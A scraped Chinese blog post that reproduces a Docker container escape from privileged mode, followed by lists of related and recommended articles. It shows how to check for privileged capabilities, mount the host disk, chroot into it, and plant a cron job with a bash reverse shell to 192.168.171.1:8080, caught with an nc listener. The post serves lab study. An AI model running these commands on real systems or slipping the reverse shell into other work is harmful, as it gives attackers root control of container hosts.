本文作者CVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

简述

在 Docker 中,Privileged 特权模式赋予容器几乎与宿主机相同的权限,允许其访问所有设备和内核功能。这种模式虽然提供了灵活性,但也带来了安全风险,可能导致容器逃逸,即攻击者从容器内获取宿主机权限。

环境配置

以特权模式创建容器

docker pull centos
docker run -itd --privileged centos /bin/bash

查看当前是否为docker环境:

cat /proc/1/cgroup|grep docker

systemd-detect-virt 也可以判断当前是否为容器

systemd-detect-virt

查看当前是否为特权模式

capsh --print
cat /proc/self/status | grep CapEff

CapEff0000001fffffffff,当前容器为特权模式。

复现

使用lsblk查看磁盘

挂载宿主机根目录

mkdir test
mount /dev/sds3 test

挂载成功

使用chroot切换根目录,方便进行计划任务反弹shell

chroot test

创建计划任务

crontab -e
*/1 * * * *  /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.171.1/8080 0>&1"

攻击机监听反弹shell,成功反弹了宿主机的shell

nc -lvvp 8080

[docker逃逸] Privileged 特权模式逃逸复现的更多相关文章

  1. docker 开启特权模式

    可以在创建容器时通过 --privileged=true 开启特权模式. 创建容器: # docker run -d --name centos7 --privileged=true centos7: ...

  2. Docker的C/S模式详解

    Docker的C/S模式 Docker的C/S模式 Docker Client通过Remote API与Docker Server通信: RESTful风格API STDIN.STDOUT.STDER ...

  3. 《网络》:设置三个密码:通过console口连接设备,进入特权模式,登录Telnet

    软件:Cisco Packet Tracer Instructor 软件下载链接在上一篇文章中. 内容:通过设置三个密码,熟悉采用Telnet方式配置交换机的方法. 细节说明:计算机的IP地址和交换机 ...

  4. [转帖]Docker四种网络模式

    Docker(十四)-Docker四种网络模式 https://www.cnblogs.com/zhuochong/p/10069293.html 计算机网络相关的知识 非常有用.. Docker 安 ...

  5. [docker]docker网络-直接路由模式

    linux namespace连接参考: http://www.cnblogs.com/iiiiher/p/8057922.html docker网络-直接路由模式 参考: https://www.y ...

  6. 转 从红帽、GitHub和Docker看开源商业模式的进阶

    从红帽.GitHub和Docker看开源商业模式的进阶 发表于2014-12-16 10:26| 7594次阅读| 来源http://stratechery.com/| 0 条评论| 作者Ben Th ...

  7. Docker 四种网络模式

    原文 https://www.cnblogs.com/gispathfinder/p/5871043.html 我们在使用docker run创建Docker容器时,可以用--net选项指定容器的网络 ...

  8. Docker学习第四天(Docker四种网络模式)

    Docker四种网络模式 实现原理 Docker使用Linux桥接(参考<Linux虚拟网络技术>),在宿主机虚拟一个Docker容器网桥(docker0),Docker启动一个容器时会根 ...

  9. docker 恶意镜像到容器逃逸影响本机

    转载:http://521.li/post/122.html SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CR ...

  10. docker四种网络模式

    1,host模式 启动容器时,添加参数--net=host 此模式和宿主机使用的是同1个ip,适合上网. 2,container模式 启动容器时,添加参数--net=container,docker ...

随机推荐

  1. 13-1 c++拷贝控制:拷贝赋值与销毁

    定义一个类时,我们必须对它进行拷贝控制,即控制该类在进行拷贝.赋值.移动和销毁时要进行哪些操作 一个类通过五个特殊的成员函数进行拷贝控制 拷贝构造函数 拷贝赋值函数 移动构造函数 移动赋值函数 析构函 ...

  2. 拿去面试!一个基于 DDD 的高性能短链系统

    众所周知,商城.RPC.秒杀.论坛.外卖.点评等项目早早就烂大街了,翻开同学的简历一看 10 个里面有 9 个是这些,翻遍全网再很难找到一个既有含金量又能看得懂的项目,针对此,我研发了这样一个可以快速 ...

  3. 21.Kubernetes配置默认存储类

    Kubernetes配置默认存储类 前言 今天在配置Kubesphere的时候,出现了下面的错误 经过排查,发现是这个原因 我通过下面命令,查看Kubernetes集群中的默认存储类 kubectl ...

  4. vite3+vue3 实现前端部署加密混淆 javascript-obfuscator

    安装 pnpm install javascript-obfuscator 安装之后 在项目根目录新建一个 obfuscator.js 在 obfuscator.js 写入以下代码 直接复制粘贴 ` ...

  5. 剖析Air724UG的硬件设计,有大发现?03篇

    ​ 今天我们分享第三部分. 四.射频接口 天线接口管脚定义如下: 表格 19:RF_ANT 管脚定义 管脚名 序号 描述 LTE_ANT 46 LTE 天线接口 BT/WiFi_ANT 34 蓝牙/W ...

  6. gearman实现任务分发

    偶然发现了这个gearman,觉得这玩意儿挺好用,非常适合PHP运行一部分业务. 话不多说,安装一下. 使用apt查找 sudo apt search gearman 找到了这个 gearman/bi ...

  7. apisix lua插件开发

    1. 怎么定义ngx自定义变量 ngx.var.custom_var nginx_config: # config for render the template to generate nginx. ...

  8. NOIP2024加赛8

    NOIP2024加赛8 T1 flandre 第 4 个样例没给全,说明这可以直接猜结论 首先我们假设选定了 $ x $ 个数,那么我们肯定是把他们从小到大排好序依次放,这样才能使整体效果最大.然后我 ...

  9. Educational Codeforces Round 155 (Rated for Div

    B. Chips on the Board 题解:贪心 显然我们可以把题意转化为:对于任意一个\((i,j)\),我们可以花费\(a_{i,j}\)的代价占据第\(i\)行和第\(j\)列,求占据所有 ...

  10. feign 使用

    feign 是netflix 提供的申明式的httpclient调用框架 整合方法 1.添加依赖 <dependency> <groupId>org.springframewo ...